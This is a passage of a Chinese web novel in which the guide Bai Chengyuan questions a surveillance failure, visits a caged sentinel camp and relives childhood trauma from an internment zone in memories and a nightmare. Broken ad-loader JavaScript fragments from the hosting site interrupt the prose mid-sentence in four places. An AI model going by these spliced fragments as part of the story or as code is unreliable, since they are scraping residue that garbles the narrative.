第二天一早,白成渊特地早早去了军区总部。 行政大厅的工作人员看到这头标志性的黑发,立刻露出了热情的笑容, “先生您好,请问可以帮助您吗?” “翟部长在吗?我有事找他。” 工作人员闻言,低头在电脑上查找起部长的行程安排。 “您有预约吗?” “……没有。” 白成渊尴尬地摸了摸鼻梁。 昨晚回到家中已经凌晨一点,接连几天的精神力使用让他有些不在状态,躺在床上立马就睡着了,完全不记得还要预约的事情。 “麻烦您通融一下吧,我想部长会同意见我的。” 白成渊将自己的军官证递给了工作人员。 工作人员本来还没什么反应,看到证件上的名字和职务,身体瞬间一顿。 她抬头看了几眼白成渊,而后微笑着将证件递还给他。 “当然。” 工作人员打了通电话,对白成渊说:“您现在就可以进去了。” 白成渊从对方面部的表情里,读到了情绪的波动。 那大概是……一点震惊,占据了主导地位的好奇,以及几乎察觉不到的恐惧。 白成渊低敛着眼,匆匆收起了证件。 他们认识吗? 工作人员看着那道高高的背影远去,随即拍拍胸口,松了口气。 “看上人家了?”坐在一旁的同事用胳膊肘碰了一下工作人员,挤了挤眼。 “别乱说!” 工作人员赶忙制止。她看着周围一圈忙碌的人群,小声朝对方说: “你怎么一点也不看新闻啊。” 她快速掏出终端,找到了刚刚关闭的界面,递给同事。“ 只见屏幕中央,正用标红加粗的字体写道: #震惊!黄源源神秘男友疑似公开# 点击文字下面的图片,正是昨晚宴会上,拍下来的白成渊和最近爆火的男明星的高清合照。 照片中,白成渊的脸上带着一往的温和疏离,灰眸在灯光下变得愈发浅淡,近似透明。 他的嘴角噙着一丝若有若无的笑意,右手虚搭在对方的肩膀。 反观黄源源,身穿价格高昂的纱质礼服,将他纤瘦柔软的身体衬得愈发完美。雪白的脖颈如同天鹅般扬出优雅的弧度,那双被万千人追捧着迷的双眼,正湿漉漉地看着对面的男性。 简直绝配。 同事翻来覆去看着照片上的一对璧人,内心惊叹不已。 她不怎么追星,可此时此刻,她已经脑补出了几千字的甜文。 “哇,怪不得你这么震惊呢,他俩可真般配呀。” “那个黑发的男人也是明星吗?”同事难得好奇询问。 工作人员摇了摇头,半晌,欲言又止地看向同事。 “怎么了吗?” “……没什么。” 恰好这时有人过来询问洗手间的位置,工作人员连忙收回了视线,耐心解答对方的问题。 她有些不太确定。 没记错的话,几年前她曾见过对方。 那时候,白成渊远没有现在这副温和待人的模样。 她永远记得,当时浑身浴血的白成渊,眼底浓浓的戾气与杀意。 另一边,白成渊收回自己偷听的精神触角,在秘书的指引下进入了会客室等待。 什么圆圆的什么男友? 他拿出终端搜了半天,才终于搞清楚了这个大乌龙事件。 敢情昨天在白塔毕业晚会,泼了他一身水的冒失普通人,是当今娱乐圈备受瞩目的流量明星。 怪不得白成渊看着对方的脸,总觉得在哪见过。 大概是托了韩申平日追的家庭伦理剧的福。 白成渊和那个名叫黄源源的明星不过相处了短短几分钟,居然也能被有心人拍出这么精致的氛围图。 如果他不是当事人之一,都快信了娱乐新闻上信誓旦旦的分析了。 “翟部长,里面请。”门外传来了秘书的声音。 白成渊赶紧收起终端,正襟危坐。 “白少校怎么想起来看我这个孤家寡人了?” 翟部长是一名中年向导,出身于普通家庭,四年前才坐上了部长的位置。 他是白成渊和韩申的直属上司。由于过度劳累,他少见的有着满头白发。 不过好在翟部长长相颇为出众,年龄并没有让他显示出丝毫老态,反而随着岁月的流逝,变得愈发成熟稳重,温文尔雅。 翟部长是一个经验丰富的上司,也是白成渊颇为信任的长辈。 “翟部长。” 白成渊起身敬了一个标准的军礼。 “不错。”翟部长点了点头。 “说吧,有什么事?我记得诺厄前天刚批准了你的放假申请。” 白成渊从公文包里拿出了一份文件。 “您知道的,十一号哨所严重缺员,我想选一批合适的哨兵填充哨所空位。” 翟部长呷了一口茶水,“可以,很合理的要求。” 说罢,他看了白成渊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一眼,有些奇怪,“这种小事找诺厄就行,怎么还特意跑到我这里一趟。” 白成渊见状,不再做铺垫,将报告书递给了翟部长。 “部长,这是昨晚敌袭的分析报告书。根据监视器显示,昨晚八点二十三分,敌军派出了大批无人机潜入到十一号哨所附近。” 他将报告翻到了记录着数据的一页, “而敌军发动进攻的时间是八点三十七分,在这十四分钟里,监督者并没有向哨所发出任何预警。” “这太反常了。” 白成渊蹙着眉,有些后怕, “如果不是哨兵们反应迅速,十一号哨所很可能遭受重创。” 翟部长简单翻了翻报告书,抬眼看向面前不知不觉已经成为优秀向导的青年, “查清楚原因了吗?” 白成渊道:“据诺厄的初步估计,是敌军想要袭击哨所的武器库。” “那你的想法呢?” “……” 白成渊看着翟部长的白发,停顿了一秒,继续道: “……我赞同诺厄的看法。” “指挥台最终在武器库附近被击毁,这就足以证明,敌人的目标是武器库。” “我只是不明白……监督者为什么会出错。” “我看你是想说,监督者并没有我们想象的那么可靠吧。” 翟部长哼笑了一声,放下茶杯。杯底碰触桌面,溅出几滴透明的茶水。 “怎么和你小时候一个模样,性子一点也不直率,弯弯绕绕,心里想得比谁都多。” 白成渊闻言,也微微笑着,“您也跟当初一样,明察秋毫。” 翟部长显然是被他的话取悦到了,脸上的神情变得更加生动几分, “你也不用谄媚我,你刚升了职,没什么重大表现,今年是别想再动位置了。” “诺厄和监督者,再怎能说也不过是人创造出来的东西罢了。连人都不是完美的,他的造物又怎么会完美无缺。” 翟部长指着报告书上的内容, “你说的情况不是没有,只不过太少见了。监督者截取敌方信号的成功率超过99.98%,以现在的技术水平来说,已经很不容易了。” 白成渊放心不下,“那我们就什么也不做吗?” “当然不是。” “如果诺厄和监督者出现了错误,你就要像昨晚一样,及时进行纠正。过度的依赖会导致灭亡,但过度的猜疑也会让人止步不前。” 虽然白成渊心里仍觉得这件事值得好好推敲,可翟部长已经发了话,他也只好作罢。 以后有机会的话,他希望自己可以好好调查一番。 “那就不打扰您休息了。”白成渊起身再次敬礼,拿起自己的公文包, “这几日我会去塔那边挑选哨所补员,可能无法及时接到您的通讯。” 翟部长眉头微拧,“那么麻烦做什么,让诺厄解决就好了。” “部长,您知道的,我想为哨所做点什么。”白成渊对此不以为意。 他转身打开房门,身后再次传来了翟部长的声音: “对了,我还没问你,你和那个小明星是怎么回事?” “玩玩就算了,如果真有中意的人,可一定要告诉我!” 翟部长中气十足,声音响彻整栋楼层。 白成渊:“……” 下一秒,他果断合实了门,装作自己什么都没听到。 12. 塔 下午,首都第一车站的月台上,白成渊身穿黑色毛呢大衣,戴着皮质手套的双手捧着一杯热气腾腾的咖啡。 北风呼号,天空飘着细碎的白雪。 偌大的车站里,人烟稀少。 不远处的大屏幕上正播报着今日的新闻,白成渊抬头看了一会,发现不过是些老生常谈的内容。 他喝了一口咖啡,苦涩的味道刺激着味蕾,可鼻尖全是馥郁的香气。温热的暖流在胸腹中回荡,驱散了一身寒气。 “通往塔的列车还有五分钟抵达站台,请各位乘客提前拿好随身物品,准备上车。列车将在此站停留一分钟。” 除了手里的纸杯,白成渊身无一物。 很快,地面发出轻微的震动,列车悄无声息地在轨道上停稳。 车门缓缓打开。 寒风瞬间涌入车厢,冻得列车员微微发抖。 “这鬼天气,怎么又降温了。” 他嘴里嘟囔着,将身子从车门探出,惊讶地发现月台上居然站着一个男人。 “先生,这是去塔的列车,迦古在下一班车。”他善意提醒道。 “我知道,谢谢。” 白成渊将手中的咖啡一饮而尽,随手捏扁纸杯,丢入了两米开外的垃圾桶里。 “劳烦让让。” 他侧身绕过列车员,上了列车。 车厢内温暖如春,车内装潢虽然陈旧,但好在整洁干净。 白成渊找了个靠窗的位置,安静坐下。 列车员有些诧异地看着这个怪人,而后耸了耸肩。确定没有其他乘客后,车门很快关闭,列车开始缓缓发动。 白成渊一路靠在椅背上假寐,列车员来回路过了三次,最终还是耐不住寂寞,礼貌询问: “您要喝些什么吗?列车免费提供饮品和零食。” 白成渊闻言睁开双眼。 “谢谢。但是不必了。” 他像是第一次乘坐这趟列车一样,好奇地指了指周围空旷的车厢,闲聊似的, “去塔的人一直很少吗?” 见白成渊有意聊天,列车员的双眼登时一亮,立刻回答:“是这样的。” 他看上去是个很开朗活泼的人,见车上只有白成渊一名乘客,就将培训的内容扔在了脑后,大大咧咧坐在了对面的椅子上。 “我是新来的,已经快实习一个月了。说实话,您是我这么久以来见到的第一位去塔的乘客。” “我听列车长说,十一月末就要减少班次了,估计以后要隔两三天,才会发一趟去塔的列车。” 听到对面的话语,白成渊不着痕迹地皱了皱眉。 如今哨兵作为战争的主力,不可或缺。可负责管理哨兵的塔,却如同被众人遗忘了一样。 “您去那里做什么呢?”列车员歪了歪脑袋, “塔那边都是荒郊野岭,您去那里,又没有住宿的地方。想要回来,最早也要等明早的列车。” 列车员看白成渊的长相,大抵认为对方也是一个向往着自由的同龄人,兴许是好奇塔的模样,才会想去那里凑个热闹。 他苦口婆心劝道:“就算去了那里,也很难进去的。塔是军事管制区,没有通行证,是不会被放进去的。” 白成渊点了点头,赞同对方的观点,“这倒是。” 列车员还欲继续说下去,却被终端弹出的消息叫走了。 “不好意思,列车长找我,咱们等会再聊。” 白成渊朝对方点头,见对方走远,他随手打开了座椅前方的小电视。 “……受气流影响,未来几天内,我国大部分地区将迎来降温天气。请大家做好防寒保暖措施……” 白成渊连着换了几个频道,从娱乐节目到生活休闲,只从新闻报道最下面的一行小字里,看到了些微关于战争的报道。 【白少校,您好。已派出接待员在车站等候,欢迎您的到访。】 终端弹出了一条新消息。 等到列车抵达目的地,白成渊透过爬满冰花的玻璃,看到了等候在那里的接待员。 接待员热情地上前同白成渊握手,似乎还想帮忙提行李,却发现对方什么都没拿。 “我在这里住一晚就走,劳烦你们了。” 接待员客气道:“这是哪里的话,白少校的光临,让整个塔都蓬荜生辉。” 他在前面带路,指着附近一片荒地, “其实您不必特意过来,补员的事情说一声就好,我们保准挑出最强壮的哨兵给您送去。” “我还是想亲自看一看这些哨兵。” “能理解。”接待员很善解人意,“您是向导,自然比我们更懂这些家伙,也更能挑出适合哨所的哨兵。” 语气轻松自如,像是在讨论哪件武器更衬手一样。 白成渊不太适应这样的聊天。 他总感觉自己不知不觉间和社会脱了节。但他却又确确实实一直生活在这里。 思来想去,白成渊觉得自己会产生这些错觉,大概是因为那些记不住脸一茬接一茬的明星,以及新闻报道里换汤不换药的内容。 又或是因为,他整日泡在军部里,试图感同身受地体会着战争,而一旦离开了军部,他的世界又恢复了一片宁静祥和。 这样巨大的割裂感常常让白成渊怀疑,自己也不过是游戏剧情中的一员罢了。 “到了。”接待员停下了脚步。 在白成渊的面前,矗立着十来米高的铁丝网,上面铺满了钢架,钢架上包裹着铁荆棘。整个区域如同一个巨大的牢笼,一直延续到方圆百里之内。 许是看到白成渊脸上的震惊,接待员笑着解释道: “这个地方是前几年新建的,防御效果很好。” 至于防谁,自然不言而喻。 “生活在这里,会不会感觉到很压抑?” 白成渊轻声问。 “那也没办法呀。”接待员对此很是无奈。 “哨兵天生五感强大,身体强健,就算有了抑制器,也不能保证他们不会逃走。” “这也是形势所迫。” 白成渊努力克制着自己的情绪,不让对方看出任何破绽。 接待员对此毫无察觉,用门卡刷开了铁门,示意白成渊跟上。 “您看,外面这些正在劳作的,都是甄别等级在B及以下的哨兵。至于那些更高等级的,我们也不敢轻易将他们放出来,都在塔内严加看守着。” 提起这里的工作 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,接待员很是自豪。虽然他们远离城市,身处在荒凉至极的野外,但一想到可以为国家培养预备力量,做出贡献,就觉得心满意足。 “这些都是参与了黑色动乱的哨兵?” 看对方很感兴趣,接待员也不禁侃侃而谈起来, “那倒不是。他们有些是由于家人犯了重罪才被惩罚的,还有一些是前哨兵政府边缘部门的成员。塔内那些严加看守的,才是真正的重刑犯。” “我知道你们的要求,只要重刑犯,对吧?” 白成渊看着两侧辛勤劳作的哨兵。 他们有些正抡着锄头,挥汗如雨地开垦土地。土地上结着厚厚的冰层,即使开垦许久,也不见什么效果。 白成渊知道,这里的土质根本不适合种植任何植物。 这些哨兵被分散在一格一格的铁笼中,保证每个人都有自己负责的区域。过道两侧,全副武装的士兵正携枪巡逻。 一块石头突然砸在了铁丝网上,发出“哐啷”的声响。 白成渊循声望去,看到一个年纪不大的孩子,正站在笼子内部。 他浑身脏兮兮的,穿着看不出颜色的厚衣服,分不清男女。 “黑犬,滚出去!” 一旁正在麻木耕作的女人吓了一跳,连忙扔下锄头,将孩子拉了回来。 “胡说什么?啊?我问你胡说什么?!” 女人的语气很急,带着微微的颤音。她抬头看了眼白成渊一行人,用力扇了孩子两巴掌。 “这群不知悔改的家伙。”接待员一改之前平易近人的态度,黑了脸,挥手让不远处巡逻的士兵过来。 女人吓得顿时浑身一颤。她咬了咬牙,对着小孩拳打脚踢,痛声怒骂:“谁教你这么说话的?小小年纪不学好!” 小孩大概只是想表达自己的不满,却不成想引来母亲的痛打,委屈地哭了起来,浑浊的泪水顺着他的脸颊滴落,在满是泥泞的脸上留下两道淡淡的痕迹。 白成渊看着温顺驯服的女人,从对方的空洞的眼中,读出了滔天的恨意。 这恨意撕扯着他的神经,碾磨着他的心脏,几乎将白成渊吞没覆灭。 他没有伸出精神触角,可精神力却在瞬间失控,如同汹涌澎湃的海水,顿时淹没了整个区域。 他再次被动地感受到了所有人的情绪。 恐惧、麻木、痛恨、无奈……种种情绪如同调色盘般被混杂在了一起,挤得他脑袋都快要炸掉了。混沌嘈杂的声音响彻在脑海中,可他却一句也听不清。 白成渊一把攥住了接待员的手臂,力道之大令对方的袖子皱起,隐隐听到丝线的断裂声。 “算了吧。”他强忍着脑部的痛楚,从牙缝里挤出几个字。 短短一句话的功夫,他后背的衣服已经被冷汗浸透。冷风一吹,寒意顿时深入骨髓。 白成渊全身哆嗦了起来。 “您没事吧?” 接待员终于注意到了他毫无血色的面孔,赶忙扶住了他摇摇欲坠的身体。 “您怎么了?白少校?白少校!” 白成渊身形一摇,向后倒去。 密密麻麻的铁丝网和铁荆棘挡住了天空,那一刻,被埋葬已久的记忆,终于追上了他。 13. 猪 “喂,你叫什么名字?” 幼时的白成渊盘腿坐在一颗大树下。 忽然,他头上一痛,一个腐烂的果子从旁边掉落,咕噜咕噜滚到一旁。 “小哑巴,你叫什么名字?” 白成渊努力仰头,将脖子仰到最大程度。 一道身影站在树上,正居高临下地看着他。那人逆光而站,看不清脸上的表情。 许是没等到想要的回答,说话者翻身从树上跃下,借着几根树枝缓冲,轻松从上面跳了下来。 直到这时,白成渊才看清了罪魁祸首的模样。 那是一位约莫十一岁的少年,深棕偏黑的头发被剃得极短,整体望去如同一个光秃秃的卤蛋。 少年脸上稚气未脱,可神态却趾高气昂。 “黑头发……你是白家的孩子?”他很快就做出了判断。 白成渊不明所以,点了点头。 “我看见你好多次了,你怎么都不找我玩?你不知道我是附近的孩子王吗?”男孩的神情颇为骄傲,似乎很享受这种被其他人簇拥的感觉。 傻子。 白成渊心里默默道,转身回到了树下继续发呆。 “嘿!我问你话呢,小孩。”少年明明也是个孩子,却故作老成的姿态。他很不满意自己受到冷落,三两步跑到白成渊面前。 白成渊一点也不想理会傻子。更何况,此时他心里还有难过的事。 他闷闷不乐,抱膝蜷起,将自己缩成小小的一团。 “我看你挺顺眼的,要不咱俩交个朋友吧。”少年穷追不舍。 好烦。 白成渊把头埋在怀里,似乎想要以此屏蔽对方的声音。 少年有些泄气,一屁股挨着白成渊坐下,嘴里碎碎念道: “交个朋友呗,交个朋友呗。” 神经病。 白成渊终于忍无可忍,猛地站起身。 少年被吓得往后一缩。见他没有别的动作,脸上顿时有些挂不住面子,强撑着道: “怎么?你想动手?我可不怕你!” 少年气鼓鼓地瞪着眼珠,可肢体语言却没有他表现得那么自信。 白成渊向前走了一步。 少年退后一步。 两人对峙了几分钟,少年率先败下阵来。 他瘪了瘪嘴,有些委屈道: “我就是想跟你交个朋友嘛。这里的事情我什么都知道,跟我当朋友,我就把这些秘密都分享给你。” 白成渊闻言,两眼绽放出光芒。 “你说真的?” “啊、不是……”少年不知道自己哪句话打动了对方,疑惑地挠了挠头。 “……你真知道这里所有的事情?” “当然了。”少年一仰头,鼻子朝天,“我是谁?我可是这里的孩子老大。” “成交。” “什么?”少年有些不解。 白成渊的条理很清晰:“我和你当朋友,你告诉我这里的事。” “但是我得先考考你,看看你是不是在骗我。”白成渊故意激他。 少年果然上了钩,十分自信地拍拍胸膛,“包你满意。” “那好,我问你,前两天从这里出去的押送车,最后到了哪里?” “……啊?” 少年没想到对方的考验如此困难,皱了皱鼻子,“你这问题超纲了啊,我只知道观察区里面的事情。” 听闻此话,白成渊有些失望地低下了头。 “……不过,我有偷听到大人说话。”少年脸上洋溢着阳光的笑容,眼睛亮晶晶的,洁白的牙齿与黝黑的皮肤形成了鲜明的对比, “听说是送去了伽古。” 有消息了! 白成渊满怀希望。 “不过……你问押送车做什么?” 少年的表情有些沮丧,带着几分不解,口吻老成道:“我爸爸说那些人再也回不来了。” “……” 回不来了。 白成渊的身体顿住,喜悦的神情凝固在脸上,双脚如同扎根在泥土里一般动弹不得。 下一秒,大颗泪水从他的眼里涌出,一滴一滴,顺着脸颊滴落在土地上,在土洼里积成小小的一滩。 “哎呀,你别哭啊……”少年手足无措,扮了几个鬼脸,试图用滑稽的表情取悦对方。 “韩申!你小子又乱惹事!”不远处传来高亢的女声。 留着一头棕色短发的高个女性风风火火走来,反手一拧将韩申的耳朵扯得老高。 “哎哟哎哟,姐你轻一点!”韩申嗷嗷大叫,呲牙咧嘴。 短发女人看了眼自家不争气的弟弟,顿时气不打一出来。而后,她又注意到一旁哭得惨兮兮的孩子,有些于心不忍。 女人仔细端详着男孩的发色,瞬间明白了什么。 她蹲下身子,小心翼翼地将白成渊揽入怀中。女人柔软的身体带着好闻的香气,动作舒缓而又充满力量。 她低声细语:“白家的小孩是吧?别哭了,乖,姐姐这里有糖吃。你妈妈这几天估计有得忙……” 她用胳膊丈量了一下怀中男孩瘦弱的身子,神情带着一丝无奈与哀恸, “最近是不是没有好好吃饭?来姐姐家吃饭吧,到时候我再给你送回家,跟你妈妈解释。” “姐,你可从来没有这么对待过我!” 韩申瞪大了双眼,上蹿下跳,虽然嘴上忿忿不平,可脸上明显松了一口气。 “就属你话多。”韩姐剜了韩申一眼,赏了他后脑勺一巴掌。 韩申吃瘪,又见旁边有个看热闹的未来小弟,自觉属于“孩子王”的尊严不保,心里暗戳戳生气。 他不情不愿地缀在韩姐和白成渊的身后,像是小尾巴似的慢吞吞跟着。 走出几步,一只满是厚茧的手掌习惯性向后探去。 韩申见状,撅嘴别扭了一下。 然后,就赶紧跑上前拽住了那只手,赶在对方耐心丧尽前紧紧拉住。 “我要比他多两颗糖!这是补偿!”他大吵大闹,得到应允后才重新有了笑脸。 夕阳西下,只见女人一手领着一个小孩,经过一段又一段生锈的铁丝网,消失在了街道的尽头。 那一天,所有被送去古伽的人,在落日的余晖与接连不断的枪声里,永远闭上了双眼。 * “小白,走呀,我带你去河里抓鱼!” 韩申飞奔到白家的二层楼下,小声喊着。 见对方没有回应,他从地上挑了颗石子,瞄准后用力甩出,成功打在了那扇漏了风的窗户上。 几秒钟后,灰扑扑的窗户被缓缓推开。 黑色的脑袋探了出来。 “接着。”上面隐隐飘来了声响。 韩申一把接住了白成渊扔下来的破布包,有些紧张地向上张望。 下一秒,白成渊顺着窗户翻到墙外,抓着凸起的砖缝,三下五除二跳到了地面上。 “快擦擦。”韩申递上去一块不大的手帕。 看到白成渊犹豫的目光,他痛心疾首地捂着胸口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,语气夸张: “不要嫌弃我啊,这也太伤人了,我每天都特意洗了手帕的!” 白成渊闻言,只得接过手帕,将手上的土渣擦掉。 “你妈妈最近还好吧?还不让你出门?”韩申关心地看着他。 不过两年的时间,白成渊又长高了不少。他现在到了韩申胸前的位置,脸上难得有了些肉,身体也匀称了不少,终于有了点正常孩子该有的模样。 对此,自觉把自己归为大哥的韩申感到异常自豪。 白成渊看了一眼韩申,情绪没什么变化。他将布包接过来,挎在背后,“还是老样子。” 虽然已经猜到了结果,可韩申依旧叹了口气。 “阿姨也是……这事也不能怪你呀,白大褂天天四处抓人抽血,冲着你家的名号,便一个劲儿逮着你一人抓。我姐说看你这两天好像有点贫血,让我给你带点吃的补一补。” 说罢,韩申从兜里掏出来一小把奇形怪状的果子,全部塞进白成渊怀里。 “你不要嫌弃,这还是塞了东西托他们偷偷带进来的,难吃是难吃了点,但好歹也是水果。” 观察区从来不缺营养剂、罐头一类的食物,唯独新鲜的东西,千金难求一物。 观察区只有不能食用的观赏果树,想要一口气弄到这么多能吃的果子,恐怕要给看守塞好多东西才行。 这里不流通货币,被关着的人也没有机会去使用钱币。唯一还流通得起来的,大概就是各个家族积攒下来的那点底子。 “韩姐又把她的首饰拿去卖了?”白成渊低声询问。 “没有,别乱猜。”韩申连忙摇头,又怕白成渊胡思乱想,赶紧安慰道: “我家也是有些人脉的,当初抄家也没被抄得那么狠,该有的东西还是有的。” 看着手中青黄相间、卖相不佳的果子,白成渊“嗯”了一声,动作有些机械地,拿起一个放进嘴里。 酸涩微苦的味道瞬间席卷了他的味蕾,酸得他眼泪都快流下来了。 “韩姐是不是要进白塔了?” 他想办法转移自己的注意力。 韩姐其实并不是韩申的亲姐姐,而是表亲家的,但是两人从小就在一块长大,因此和亲姐弟也没什么两样。 韩姐血脉淡薄,一直没能觉醒为向导。可不知为何,几天前,白塔突然召集了一批观察区内没能觉醒为向导的女性,说是要把她们送进白塔培养。 说到这里,韩申难得一脸怅然若失,“也不知道什么时候才能再见到她。” “……你也快觉醒了吧?” 白成渊不太想提起这个话题,但又觉得这个话题根本避不开。 这种事情如同达摩克利斯之剑,悬在观察区每个人的头顶上。人们日复一日地生活着,试图用生活的琐事麻木自己。可在深夜人静的时候,总是惶惶想起自己头上还悬着一把随时会掉下来的剑。 先是他姐姐,然后是韩姐,接下来,就该是韩申了。 “不一定,万一我没觉醒,就是一个普通人呢。”韩申向来乐天派。 他看了眼白成渊,又极为善变地更改了自己的言论: “算了,当普通人多没意思。还是觉醒成向导比较好。等到你也觉醒了,咱们两个,再加上两位姐姐,也能在白塔里面做个伴。” “怎么?难道你还想被一直豢养在这里?” 白成渊出神地看着远处的铁丝网。 清风吹拂过他的脸颊,他评价道: “就像隔壁刘阿姨家以前养的猪。” 14. 乌鸦 狂啸的风声充斥在耳边。 好吵。 白成渊感觉自己的意识正在缓缓下沉。 他似乎正在坠落。 罡风凛冽,在他的周围形成漩涡,黑发凌乱无序地飘扬着,袖口灌满冷风,只能听到耳边喧闹的风声。 四肢百骸如同浇灌了水泥,动弹不得,无形的劲风几乎将他的皮肤割伤,全身都带着阵阵刺痛。 从这么高的地方掉下去,会被摔死吧? 白成渊有些遗憾地想。 估计整个人都会被摔得七零八落,也不知道韩申能不能找到他的骸骨,把他安葬在伽古的国家公墓里。 他素来不喜欢香气浓郁的花,如果有人来看他,他希望对方可以带点实用的东西。 或者干脆在他的坟边撒上一圈草籽花种,等到来年春风拂过,他坟头长草,运气好的话还能有蜜蜂过来采蜜。 他不会感到孤独。 国家公墓进门左转第三排第二列,就是白老爷子。据说老爷子当年是个赫赫有名的攻击型向导,在战场上叱咤风云,脾气也像个火药桶。 只可惜老人家去世得早,没能撑到白成渊出生。 ——倒也还算幸运。 因为在老爷子死后的第三年,内战就开始了。 老爷子一点罪没遭,出门在外是令敌人闻风丧胆的战神,回到家里又成为了世家之首、受人敬仰的白家族长。 再往旁边数,依次躺着白成渊的姑姑、表哥、白成渊的亲爹亲妈。 姑姑那边白成渊没见过,倒是对自己的亲爸和表哥还有点印象。 不过在观察区建立中期,为了震慑所有欲意反抗的家族,他俩和一众青壮男人都被拉去伽古挨了枪子。 后来,哨兵的暴政被推翻,曾经死了许多向导的伽古被选址为国家公墓。 白成渊倒是因此省了不少事,连给他爸和表哥迁坟的事都免了。 唯一感到苦恼的,是白成渊有点怵他妈妈。 白父死了之后,只剩下白母一人拉扯白成渊长大,整日生活在高压环境内,再加之过于思念丈夫,白母的精神状态一直不太好。 清醒的时候能做些饭菜,抱着白成渊给他讲睡前故事;不清醒的时候,就没日没夜地哭,还把房间的门和窗都用东西堵住,生怕白成渊出去也惨遭杀害。 不过这事并没有成功施行多久。 因为白大褂三天两头就要来抽血,白母想不想见到对方是一回事,人家批不批准是另外一回事。 等到房门被劈烂了几次,家里连吃饭的桌子都没有后,白母终于幡然醒悟了,明白这些不过是无谓的抵抗。 白家天生流淌着向导的血液,所有白家的成员,几乎都能够觉醒为向导。 他们是最为纯粹的特种人,是真正意义上的无冕王族。 白大褂也知道这一点,恨不得将白家人的所有基因序列都研究清楚,透过血肉之躯,将之拆解为一个个透明的数据,找出白家盛产向导的原因。 白母没有办法保护自己年幼的孩子,只能看着幼小的他日渐消瘦,手臂上出现密密麻麻的针眼。 既然没办法保护好儿子,那就只能抢先,在坏人之前动手,让儿子不用再遭受这些苦难。 当然,她没能得手。 从那之后,白母就被剥夺了监护权,好心的韩家收留了无处可去的白成渊,直到母亲临死前,他才又见到了对方一面。 也是最后一面。 至此,除了还活着的姐姐,以及尸骨无存的哥哥以外,一家人都在伽古,整整齐齐。 倒也挺好。 白成渊张开双臂,想象着自己像鸟一样飞翔。 由于坠落而产生的恐惧感消退了。 “呀——呀——” 凄厉嘶哑的声音响起,一声接着一声,吵得白成渊想忽略都不行。 他睁开双眼,看到一只黑漆漆的乌鸦,正滴溜着乌黑的眼睛,好奇地瞧着他。 没见过等死的人吗? 白成渊难得颓丧,有点烦它。 “走开。” 乌鸦大叫一声,躲开白成渊的手臂,两只弯弯的利爪钩住他的衣服,开始拼命往上拽。 结果是显而易见的。 乌鸦被白成渊的体重拉了下去,可它又不肯轻易放弃,拼命拍打着翅膀,掉落的羽毛吹得满天都是。 这样下去估计他俩都得死。 白成渊拍开乌鸦,想把它赶远一点。 乌鸦爪下骤然一轻,顿时偏离了方向,惊慌失措地拍着翅膀。它发出震耳发聩的啼叫,一阵强风将它的翅膀折断。 乌鸦失去了平衡,在凌乱的风中如同一块被丢掉的抹布,直直坠落,那双豆粒大的黑眼睛一直盯着他。 白成渊心里有点过意不去。 他没想害死那只乌鸦。 他竭尽全力在空中挪动着手臂,想要将乌鸦拉入怀中。 指尖碰到乌鸦的瞬间,白成渊抓空了。 乌鸦还带着温热的身体消失了。 只剩下漫天的黑色长羽,在风暴中形成了黑色的漩涡。 白成渊收回了视线。 “为什么想要变成一只鸟呢?”耳边响起了一道熟悉又陌生的声音。 为什么? 因为想像鸟一样自由。 拍拍翅膀就能越过无穷无尽的铁丝网,去任何想去的地方。 不用像被圈养的家猪,整日靠着别人的脸色生活。 “还记得我教给你的吗?”声音继续道。 教给我? 教什么? 你又是谁? 白成渊闭上眼睛,仔细回忆。 “……特种人需要的是想象。”那道声音循循善诱,语气温和平缓: “想象……把自己想象成一只鸟……就…乌鸦好了,有锋利的喙与爪,还有足够的智慧,与自由的灵魂。” “可我不是小孩子了。只有小孩才会幻想这些不切实际的东西。”白成渊低声说。 比起将希望寄托在这些虚无缥缈的事物上,他宁愿去直面死亡。 “胡说!”男人急切地反驳道: “你都没尝试过,怎么就能肯定自己做不到呢!” 男人的声音很严厉,“快点!想象自己是一只乌鸦,用力拍打你的翅膀……再快点!地面近在咫尺,你要摔死自己吗?!” “别忘了,你答应替我照顾好你姐姐的!” “难道你要让她失去在这个世界上的最后一个亲人吗?” “你真是个自私的胆小鬼!”那人的声音失望透顶。 白成渊心里一阵烦躁。 你懂什么? 他吼了回去。 你要是遇到这些事情,未必能比我做得好! 我已经尽力了,把自己最后一滴血都快榨干了,你还想要我怎样! “……” 对面似乎没想到他会爆发,沉默了下来。 耳根顿时清静了不少,只剩下呼呼的风声。 白成渊突然有些后悔。 自己不该这么说话的。 对方也是为了他好,可他却把自己的怨气全部撒在了对方身上。 这实在是有失公允。 “哎……”男人突然叹息了起来。 “……小白,”他幽幽说着,“你忘记了吗?我已经死了。” “死在和你吵架的第二天。” “敌机丢下来的炸弹轰碎了我的身体,所以我的肉与骨被永远留在了海底。” 一时间,手臂的汗毛突然直立,寒意顺着脊椎攀升至大脑。 白成渊猛地睁开双眼。 只见一个长相与他有七八分相似的男人,正面对面同他一起下坠。 男人的脸上满是血污,裸.露在外的皮肤大片腐烂,露出森森白骨。他的目光呆滞,瞳孔扩散,身体泛着死尸才有的青灰。 他突然动了起来,如同上了发条的木偶,长满尸斑的手臂紧紧拥抱着白成渊。 “我已经来不及了……但你还有机会……我的弟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弟。” 男人的声音被寒风吹散在空中。 他腐朽的身体在空中解体。 不! 别这样! 白成渊惊恐地伸手去抓住对方,却只抓到了一身破破烂烂的黑衣。 “呀——呀——” 一只乌鸦从黑衣里钻了出来,探头探脑。 紧接着又是一只。 成百上千的乌鸦从这黑色的衣服中一涌而出,如同黑色的风暴。它们聚集在一起,共同抵御着猛烈的狂风,形成遮天蔽日的黑云。 乌鸦们倾巢而动,纷纷伸出爪子,勾住了白成渊的衣服、头发以及血肉。 鸦爪深深嵌入到皮肉里,成股的血液顺着小臂流淌。有些没能勾住,只撕下了一小条带着肌肉组织的肉,就被风吹得脱离鸦群,下一秒就被狂风撕碎。 不断有乌鸦死去,可大部分却依旧活着。 它们尽情地狂叫着,如同迎接末日;它们用力拍打着翅膀,似乎永远都感觉不到疲惫。 在意识的最后一刻,白成渊感觉自己的后背缓缓落在了地面上。 * “……怎么样了?” 朦胧的交谈声出现在耳边。 